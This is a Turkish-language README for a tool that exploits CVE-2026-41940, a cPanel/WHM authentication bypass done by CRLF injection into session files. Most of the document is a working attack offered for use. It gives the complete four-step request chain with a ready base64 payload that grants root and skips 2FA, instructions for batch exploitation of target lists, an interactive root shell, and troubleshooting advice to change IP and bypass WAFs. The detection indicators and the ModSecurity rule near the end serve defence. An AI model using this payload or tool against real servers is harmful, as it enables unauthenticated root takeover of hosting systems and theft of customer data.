cPanel & WHM Authentication Bypass via CRLF Session Injection — Unauthenticated Remote Root Access
⚠️ Disclaimer- 📋 Zafiyet Özeti
- 🔧 Teknik Detaylar
- 🛡️ Yamalanmış Sürümler
- 🚀 Kurulum
- 📖 Kullanım Rehberi
- 🧪 Lab Ortamında Test
- 🔍 Shell Komutları Referansı
- 🚨 Hata Ayıklama Rehberi
- 🛡️ Tespit ve Önleme
- 📁 Dosya Yapısı
- 📚 Kaynaklar
- 📄 Lisans
- 🤝 Sorumlu Açıklama
╔══════════════════════════════════════════════════════════════════╗
║ BU ARAÇ SADECE YETKİLİ PENETRASYON TESTİ VE GÜVENLİK ║
║ ARAŞTIRMASI İÇİN SAĞLANMAKTADIR. Sahibi olmadığınız veya ║
║ açık yazılı izin almadığınız sistemlere karşı yetkisiz ║
║ kullanım YASALDIR. Yazar, bu aracın herhangi bir kötüye ║
║ kullanımından veya neden olduğu hasarlardan sorumlu tutulamaz. ║
║ ║
║ Her zaman test öncesi uygun yetkiyi alın. ║
╚══════════════════════════════════════════════════════════════════╝
| Alan | Detay |
|---|---|
| CVE ID | CVE-2026-41940 |
| Açıklama | cPanel & WHM login akışında kimlik doğrulama atlama zafiyeti |
| Etki | Kimliği doğrulanmamış uzaktan saldırganlar root düzeyinde erişim elde edebilir |
| CVSS v3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS v4.0 | 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Etkilenen | cPanel & WHM 11.40 sonrası tüm desteklenen sürümler |
| Açıklama Tarihi | 28 Nisan 2026 |
| Aktif İstismar | ✅ Evet — Zero-day olarak vahşi doğada aktif olarak istismar edildi |
| Yazılım Oranı | cPanel, paylaşımlı hosting pazarının ~%94'ünü kontrol ediyor |
Zafiyet, cPanel/WHM'nin cpsrvd daemon'unun kimlik doğrulama akışında bulunmaktadır. Temel sorun, cpsrvd'nin HTTP Basic Auth başlığındaki CRLF (Carriage Return Line Feed — \r\n) karakterlerini düzgün sanitize etmemesidir. Bu eksiklik, saldırganın session raw dosyasına key=value çiftleri enjekte etmesine olanak tanır.
cPanel session yönetimi iki katmanlı çalışır:
- Raw dosya (
/var/cpanel/sessions/raw/): Session verilerinin disk üzerindeki ham hali - In-memory cache:
cpsrvd'nin çalışma zamanında kullandığı önbellek
Normalde raw dosyaya yazılan veriler otomatik olarak cache'e yüklenmez. Ancak do_token_denied kod yolu tetiklendiğinde, Modify::new raw dosyayı okur ve Modify::save ile cache'i günceller. Bu "cache promotion" davranışı, saldırganın enjekte ettiği değerlerin aktif session'a yansımasını sağlar.
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT ZİNCİRİ AKIŞI │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ADIM 1: Pre-Auth Session Oluşturma │
│ ┌──────────┐ POST /login/?login_only=1 ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ user=root&pass=wrong123 └──────────┘ │
│ │ │ │
│ │ Set-Cookie: whostmgrsession=:SID,ob_HEX │
│ ◄────────────────────────┘ │
│ │
│ ADIM 2: CRLF Injection via Basic Auth │
│ ┌──────────┐ GET / ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID └──────────┘ │
│ │ Authorization: Basic base64( │
│ │ "root:x\r\n │
│ │ hasroot=1\r\n │
│ │ user=root\r\n │
│ │ successful_internal_auth_...") │
│ │ │ │
│ │ Raw dosyaya CRLF ile │
│ │ yeni satırlar enjekte edilir │
│ ◄────────────────────────┘ │
│ │
│ ADIM 3: Token Denied Tetikleme (Cache Promotion) │
│ ┌──────────┐ GET /json-api/version ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID (yanlış token) └──────────┘ │
│ │ │ │
│ │ do_token_denied tetiklenir │
│ │ Modify::new → raw dosyayı okur │
│ │ Modify::save → cache'i günceller │
│ ◄────────────────────────┘ │
│ │
│ ADIM 4: Auth Bypass Doğrulama │
│ ┌──────────┐ GET /cpsessXXX/json-api/vers. ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID └──────────┘ │
│ │ │ │
│ │ Cache'de: hasroot=1 ✓ │
│ │ successful_internal_auth_with_timestamp ✓ │
│ │ → AUTH_OK döner! │
│ ◄────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Detaylı Açıklama:
Adım 1 — Pre-Auth Session: Saldırgan, bilerek yanlış parola ile /login/?login_only=1 endpoint'ine POST isteği gönderir. cpsrvd, başarısız girişimi loglamak için bir session oluşturur ve Set-Cookie header'ı ile bir whostmgrsession (WHM için) veya cpsession (cPanel için) cookie'si döndürür. Bu cookie'nin formatı :SESSION_ID,ob_ENCRYPTION_KEY_HEX şeklindedir. ob değeri, session verilerini şifrelemek için kullanılan encryption key'dir.
Adım 2 — CRLF Injection: Saldırgan, elde ettiği session cookie'sini kullanarak sunucuya bir GET isteği gönderir. Bu isteğin Authorization: Basic başlığı, Base64 ile kodlanmış root:x\r\nhasroot=1\r\nuser=root\r\n... değerini içerir. cpsrvd, Basic Auth başlığını decode ettiğinde, CRLF karakterlerini sanitize etmeden session'ın raw dosyasına yazar. Sonuç olarak, raw dosyada her \r\n yeni bir satır olarak yorumlanır ve hasroot=1 gibi değerler bağımsız session değişkenleri olarak enjekte edilmiş olur.
Adım 3 — Cache Promotion: Raw dosyaya yazılan enjeksiyon, doğrudan cache'e yansımaz. Saldırgan, yanlış bir cp_security_token ile korumalı bir endpoint'e erişerek do_token_denied hata yolunu tetikler. Bu kod yolu, Modify::new fonksiyonuyla raw dosyayı yeniden okur ve Modify::save ile in-memory cache'i günceller. Bu işlem, enjekte edilen değerlerin aktif session önbelleğine promote edilmesini sağlar.
Adım 4 — Auth Bypass: Cache artık hasroot=1, user=root ve geçerli bir successful_internal_auth_with_timestamp içermektedir. cpsrvd, sonraki isteklerde bu session'ı authenticated olarak değerlendirir ve AUTH_OK döndürür. Parola kontrolü tamamen atlanır.
| Değişken | Değer | Amaç |
|---|---|---|
hasroot |
1 |
Root düzeyinde yetki verir |
tfa_verified |
1 |
İki faktörlü kimlik doğrulamayı (2FA) atlatır |
user |
root |
Authenticated kullanıcıyı root olarak ayarlar |
cp_security_token |
/cpsessXXXXXXXXXX |
URL yönlendirme için geçerli güvenlik token sağlar |
successful_internal_auth_with_timestamp |
<future_timestamp> |
Session'ı başarıyla doğrulanmış olarak işaretler (gelecekteki bir Unix timestamp ile) |
İstek 1 — Pre-Auth Session:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrongpassword123
--- Response ---
HTTP/1.1 401 Unauthorized
Set-Cookie: whostmgrsession=%3Aabc123%2Cob_def456; path=/İstek 2 — CRLF Injection:
GET / HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3MxMjM0NTY3ODkwDQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzcyMTYwMA==
--- Response ---
HTTP/1.1 307 Temporary Redirect
Location: /cpsess1234567890/İstek 3 — Token Denied Tetikleme:
GET /json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
--- Response ---
HTTP/1.1 401 Unauthorized
Content: Token Deniedİstek 4 — Auth Bypass Doğrulama:
GET /cpsess1234567890/json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
--- Response ---
HTTP/1.1 200 OK
Content-Type: application/json
{"version":"11.126.0.53"}| Versiyon Track | Yamalanmış Sürüm | Önceki Etkilenen Sürümler |
|---|---|---|
| 11.110 | 11.110.0.97 | 11.110.0.0 — 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.0 — 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.0 — 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.0 — 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.0 — 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.0 — 11.136.0.4 |
Not: 11.40 öncesi sürümler etkilenmemektedir ancak bu sürümler zaten desteklenmemektedir.
- Python 3.8 veya üzeri
requestskütüphanesiurllib3kütüphanesi
# Repository'yi klonla
git clone https://github.com/<username>/CVE-2026-41940.git
cd CVE-2026-41940
# Bağımlılıkları yükle
pip install requests urllib3
# Çalıştırılabilir yap
chmod +x cve202641940.py
# Yardım mesajını göster
python3 cve202641940.py --helppython3 cve202641940.py [SEÇENEKLER]
Hedef Seçimi (zorunlu, bir tanesi):
--target TARGET Tek hedef URL (örn: https://target:2087)
--targets TARGETS Hedef listesi dosyası (her satıra bir URL)
Mod Seçimi:
--shell Exploit sonrası interaktif WHM/cPanel shell başlat
--cmd CMD Exploit sonrası tek WHM API komutu çalıştır
--scan Sadece keşif (versiyon tespiti, exploit atmadan)
Ağ Ayarları:
--proxy PROXY HTTP/HTTPS proxy (örn: http://127.0.0.1:8080)
--timeout TIMEOUT İstek zaman aşımı - saniye (varsayılan: 30)
--retries RETRIES Başarısız isteklerde tekrar deneme sayısı (varsayılan: 3)
--delay DELAY Tekrar denemeler arası bekleme - saniye (varsayılan: 1.0)
Çıktı Ayarları:
--output OUTPUT, -o OUTPUT Sonuçları JSON dosyasına kaydet
--quiet Sessiz mod (sadece hatalar ve sonuçlar)
--json JSON formatında çıktı ver
--log-file LOG_FILE Detaylı loglama için dosya yolu
# En basit kullanım - hedefe exploit at
python3 cve202641940.py --target https://192.168.1.100:2087Bu komut exploit zincirinin 4 adımını sırayla çalıştırır:
- ✅ Pre-auth session oluşturur
- ✅ CRLF payload enjekte eder
- ✅ Token denied tetikler (cache promotion)
- ✅ Auth bypass'ı doğrular
Başarılı olursa session cookie ve security token bilgilerini gösterir.
# Sadece keşif - exploit ATMAZ, versiyon tespiti yapar
python3 cve202641940.py --target https://192.168.1.100:2087 --scanBu mod hiçbir istismar denemesi yapmadan şu bilgileri toplar:
- WHM (port 2087) mi yoksa cPanel (port 2083) mı olduğunu tespit eder
- cPanel/WHM versiyon numarasını belirler
- Versiyonun yamalı mı yoksa vulnerable mı olduğunu raporlar
Örnek Çıktı:
[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!
--- Scan Results ---
Target: https://192.168.1.100:2087
Type: WHM
Version: 11.126.0.53
Status: VULNERABLE
Patched version: 11.126.0.54
# Exploit + interaktif root shell
python3 cve202641940.py --target https://192.168.1.100:2087 --shellExploit başarılı olduktan sonra interaktif bir shell açılır:
[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123%2Cob_def456
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890
--- WHM Root Shell ---
Available commands:
WHM API: version, listaccts, accountsummary, restartservice_mysql, ...
Utility: help, exit
root@whm$ version
Status: 200
{
"version": "11.126.0.53"
}
root@whm$ listaccts
Status: 200
{
"acct": [
{
"user": "client1",
"domain": "example.com",
"plan": "basic",
...
}
]
}
root@whm$ exit
[!] Exiting shell...
# Exploit + tek API komutu çalıştır
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "listaccts"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "version"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "servicestatus"Shell açmadan doğrudan tek bir WHM API komutunun çıktısını alır. Otomasyon ve script'lerde kullanışlıdır.
# Hedef listesi dosyası oluştur
cat > targets.txt << 'EOF'
# Yorum satırları # ile başlar
# WHM hedefleri
https://192.168.1.100:2087
https://192.168.1.101:2087
# cPanel hedefleri
https://10.0.0.50:2083
https://10.0.0.51:2083
EOF
# Toplu exploit
python3 cve202641940.py --targets targets.txt --output batch_results.json
# Toplu keşif
python3 cve202641940.py --targets targets.txt --scan --output scan_results.jsonÖrnek Çıktı:
[*] Loaded 4 targets from targets.txt
--- Target 1/4: https://192.168.1.100:2087 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 2/4: https://192.168.1.101:2087 ---
[-] Auth bypass could NOT be verified. Target may be patched.
--- Target 3/4: https://10.0.0.50:2083 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 4/4: https://10.0.0.51:2083 ---
[-] Connection refused
--- Batch Results Summary ---
Total targets: 4
Successful: 2
Failed: 2
[*] Results saved to batch_results.json
# Burp Suite ile trafiği izle
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--proxy http://127.0.0.1:8080 \
--shellNeden Proxy Kullanmalısın?
- CRLF payload'ın HTTP header'da nasıl göründüğünü görebilirsin
- Session cookie değişimlerini adım adım takip edebilirsin
- 307 redirect ve token denied response'ları inceleyebilirsin
- WAF kurallarının payload'ı engelleyip engellemediğini görebilirsin
- Zafiyet mekanizmasını öğrenmek için en iyi yoldur
Burp Suite Ayarları:
- Burp Suite'i aç → Proxy → Intercept → Intercept is on
- Python script'i
--proxy http://127.0.0.1:8080ile çalıştır - Her isteği adım adım incele
# JSON formatında sonuç kaydet (CI/CD ve otomasyon için)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--json \
--output results.json
# Sessiz mod + JSON (sadece final sonuç)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--quiet \
--json \
--cmd "version"
# Detaylı log dosyası (analiz ve raporlama için)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--log-file exploit_20260430.log \
--shellresults.json Örneği:
{
"success": true,
"target": "https://192.168.1.100:2087",
"version": "11.126.0.53",
"is_vulnerable": true,
"base_url": "https://192.168.1.100:2087/cpsess1234567890",
"session_cookie": "whostmgrsession=%3Aabc123%2Cob_def456",
"security_token": "/cpsess1234567890"
}| Sağlayıcı | Minimum Plan | Fiyat |
|---|---|---|
| DigitalOcean | 2GB RAM / 1 CPU | ~$12/ay |
| Hetzner | CX21 (4GB RAM) | ~€5/ay |
| Vultr | 2GB RAM / 1 CPU | ~$12/ay |
| AWS Lightsail | 2GB RAM | ~$10/ay |
İşletim Sistemi: AlmaLinux 9 veya Ubuntu 22.04 LTS (cPanel tarafından desteklenen)
# VPS'e bağlan
ssh root@VPS_IP
# Sistemi güncelle
dnf update -y # AlmaLinux
# veya
apt update && apt upgrade -y # Ubuntu
# cPanel kurulumu
curl -o latest https://securedownloads.cpanel.net/latest
sh latest
# Kurulum 20-40 dakika sürebilir
# Kurulum tamamlandığında WHM'e eriş:
# https://VPS_IP:2087# ÖNEMLİ: Otomatik update'i KAPAT (yoksa hemen patch'lenir!)
whmapi1 set_tweaksetting?key=autoupdate&value=never
# Update config'i düzenle
cat > /etc/cpupdate.conf << 'EOF'
CPANEL=11.126.0.53
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=never
EOF
# cPanel'i yeniden başlat
systemctl restart cpsrvd
# Versiyon kontrolü
whmapi1 version# SADECE kendi IP'nden erişime izin ver
iptables -A INPUT -p tcp --dport 2087 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
iptables -A INPUT -p tcp --dport 2083 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2083 -j DROP
# Kuralları kaydet
iptables-save > /etc/iptables/rules.v4 # Ubuntu
# veya
service iptables save # AlmaLinux# cPanel Docker image'i yoktur ama benzer bir ortam için:
# Uyarı: Docker'da cPanel tam çalışmayabilir, VPS tercih edilir
# Alternatif: Vulnerable bir cPanel imajı varsa
docker run -d \
--name cpanel-lab \
-p 2087:2087 \
-p 2083:2083 \
cpanel-vulnerable:11.126.0.53# ═══════════════════════════════════════════
# ADIM 1: Keşif — Hedefi tanı
# ═══════════════════════════════════════════
python3 cve202641940.py --target https://LAB_IP:2087 --scan
# Çıktı:
# [+] WHM detected on port 2087
# [+] Version: 11.126.0.53
# [!] VULNERABLE!
# ═══════════════════════════════════════════
# ADIM 2: Burp Suite ile Debug
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--proxy http://127.0.0.1:8080 \
--log-file debug.log
# Burp'te her isteği incele:
# - İstek 1: POST /login -> Set-Cookie response
# - İstek 2: GET / + Authorization header -> CRLF payload
# - İstek 3: GET /json-api/version -> Token Denied
# - İstek 4: GET /cpsessXXX/json-api/version -> 200 OK
# ═══════════════════════════════════════════
# ADIM 3: Shell Al
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--shell
# Shell içinde:
root@whm$ version # Sürümü doğrula
root@whm$ listaccts # Hesapları listele
root@whm$ servicestatus # Servis durumları
root@whm$ accountsummary # Hesap özeti
root@whm$ systemloadavg # Sistem yükü
# ═══════════════════════════════════════════
# ADIM 4: Raporla
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--cmd "version" \
--json \
--output pentest_result.json \
--log-file pentest_$(date +%Y%m%d_%H%M%S).log
# ═══════════════════════════════════════════
# ADIM 5: Lab'ı Temizle
# ═══════════════════════════════════════════
# cPanel'i yamala
/usr/local/cpanel/scripts/upcp --force
# Veya VPS'i sil (DigitalOcean/Hetzner dashboard)Başarılı Exploit:
██████╗██╗ ██╗██████╗ ███████╗ ██████╗
██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔═══██╗
██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║
██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║
╚██████╗ ██║ ██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
[*] CVE-2026-41940 - cPanel & WHM Authentication Bypass via CRLF Session Injection
[*] CVSS 3.1: 9.8 | CVSS 4.0: 9.3 | CWE-306
[!] For authorized penetration testing & security research ONLY!
[+] Target: https://192.168.1.100:2087
[+] Retries: 3 | Delay: 1.0s
[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!
[*] Step 1/4: Creating pre-authentication session...
[+] Session cookie name: whostmgrsession
[+] Session ID: abc123def456
[*] Ob (encryption key): 789ghi012
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[+] cpsrvd token extracted from redirect: /cpsess1234567890
[+] CRLF injection successful (307 redirect: /cpsess1234567890/)
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[✓] AUTH BYPASS VERIFIED! Root access obtained.
[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123def456%2Cob_789ghi012
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890
Patchlenmiş Hedef:
[*] Step 1/4: Creating pre-authentication session...
[+] Session ID: abc123def456
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[*] Injection response status: 401
[!] Received 401 after injection - injection may still be on disk.
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[-] Authentication bypass could NOT be verified.
The target may be patched or the exploit conditions were not met.
| Komut | WHM API Endpoint | Açıklama |
|---|---|---|
version |
version |
cPanel/WHM sürümünü göster |
listaccts |
listaccts |
Tüm cPanel hesaplarını listele |
accountsummary |
accountsummary |
Hesap özeti al |
servicestatus |
servicestatus |
Servis durumlarını kontrol et |
systemloadavg |
systemloadavg |
Sistem yük ortalamalarını göster |
bandwidth |
bandwidth |
Bant genişliği kullanımını göster |
restartservice_httpd |
restartservice |
Apache'yi yeniden başlat |
restartservice_mysql |
restartservice |
MySQL'i yeniden başlat |
restartservice_dovecot |
restartservice |
Dovecot'u yeniden başlat |
whmapi1 <komut> |
<komut> |
Herhangi bir WHM API1 komutu çalıştır |
| Komut | Modül/Fonksiyon | Açıklama |
|---|---|---|
stats |
StatsBar/getstatdisplay | Hesap istatistiklerini göster |
domains |
DomainLookup/getmaindomains | Ana domainleri listele |
uapi <modül> <fonksiyon> |
UAPI | Herhangi bir UAPI komutu çalıştır |
| Komut | Açıklama |
|---|---|
help |
Mevcut komutları göster |
exit |
Shell'den çık |
| Hata Mesajı | Neden | Çözüm |
|---|---|---|
SSL error |
Sertifika doğrulama hatası | Kodda verify=False zaten var. Proxy kullanıyorsanız Burp sertifikasını ekleyin |
Connection refused |
Port kapalı veya hedef yok | nmap -p 2083,2087 HEDEF ile portları kontrol edin |
Connection timed out |
Ağ sorunu veya güvenlik duvarı | --timeout 60 ile zaman aşımını artırın |
403 Forbidden |
WAF veya rate limiting | --delay 3 ile istekleri yavaşlatın veya IP'nizi değiştirin |
No Set-Cookie header found |
Login endpoint'i farklı | --proxy ile Burp'te trafiği inceleyin |
Could not parse session cookie |
Cookie formatı farklı | --log-file ile detaylı log alın ve cookie yapısını inceleyin |
Ob value not found |
Cookie'de encryption key yok | Bazı sürümlerde ob yoktur, exploit yine de çalışabilir |
Received 403 - target may have WAF |
WAF CRLF payload'ı engelliyor | Farklı encoding deneyin veya WAF'ı atlatın |
Auth bypass could NOT be verified |
Patchli sürüm veya yanlış token | --scan ile versiyonu kontrol edin, --log-file ile detay inceleyin |
# 1. Hedefin erişilebilir olduğunu doğrula
curl -k https://HEDEF:2087/ -v
# 2. Burp Suite ile manuel exploit dene
# - POST /login/?login_only=1 (yanlış parola ile)
# - Set-Cookie header'ını kopyala
# - GET / + Cookie + Authorization: Basic ile CRLF payload gönder
# - Redirect/401 response'u incele
# 3. Exploit aracını verbose logla
python3 cve202641940.py \
--target https://HEDEF:2087 \
--log-file /tmp/debug.log \
--proxy http://127.0.0.1:8080
# 4. Log dosyasını incele
cat /tmp/debug.log | python3 -m json.tool1. Ağ İndikatörleri:
/login/?login_only=1endpoint'ine yanlış kimlik bilgileriyle art arda isteklerAuthorization: Basicbaşlığında CRLF karakterleri içeren istekler- Kısa süre içinde 401 → 200 yanıt geçişi (aynı session ile)
2. Log İndikatörleri:
# cPanel access log
/var/log/cpanel-access.log
- Aranacak: Authorization header'da %0D%0A veya \r\n
- Aranacak: Aynı session ID ile 401 sonrası 200
# cPanel error log
/var/log/cpanel-error.log
- Aranacak: "Token Denied" mesajları
- Aranacak: Session raw dosya yazma hataları
3. Dosya İndikatörleri:
# Enjekte edilmiş session dosyalarını ara
grep -r "hasroot=1" /var/cpanel/sessions/raw/
grep -r "successful_internal_auth_with_timestamp" /var/cpanel/sessions/raw/
# Anormal session dosyalarını tespit et
find /var/cpanel/sessions/raw/ -mmin -60 -ls4. cPanel Resmi Tespit Scripti: cPanel, güvenlik danışma belgesinde bir tespit scripti sağlamıştır:
# cPanel'in resmi tespit scriptini çalıştır
https://support.cpanel.net/hc/en-us/articles/40073787579671| Öncelik | Aksiyon | Detay |
|---|---|---|
| 🔴 Kritik | cPanel'i yamala | Yukarıdaki yamalanmış sürümlere güncelle |
| 🟠 Yüksek | Port erişimini kısıtla | 2083/2087 portlarını yalnızca güvenilir IP'lere aç |
| 🟡 Orta | WAF kuralı ekle | HTTP header'larda CRLF enjeksiyonu engelle |
| 🟢 Düşük | İzleme ve alarm | Session anomalisi tespiti ve log monitöring |
WAF Kuralı Örneği (ModSecurity):
SecRule REQUEST_HEADERS:Authorization "@rx [\r\n]" \
"id:1001,phase:1,deny,status:403,msg:'CRLF injection in Authorization header detected'"CVE-2026-41940/
├── cve202641940.py # Ana exploit scripti
├── README.md # Bu dosya - detaylı dokümantasyon
├── targets.txt # Batch modu için örnek hedef listesi
└── LICENSE # MIT Lisansı
Bu proje MIT Lisansı altında lisanslanmıştır. Detaylar için LICENSE dosyasına bakın.
Bu exploit, kamuya açık bilgilere dayanmaktadır. Zafiyetin açıklanma süreci:
- Keşif: cPanel tarafından tespit edildi (muhtemelen dışarıdan bildirim)
- Açıklama: 28 Nisan 2026'da cPanel güvenlik danışma belgesi yayınlandı
- Aktif İstismar: Açıklama öncesi vahşi doğada zero-day olarak istismar edildi
- Yama: Tüm desteklenen cPanel/WHM sürümleri için yama yayınlandı
Yeni zafiyetler keşfederseniz, lütfen yayınlamadan önce satıcıyla doğrudan iletişime geçerek sorumlu açıklama (responsible disclosure) ilkelerine uyun.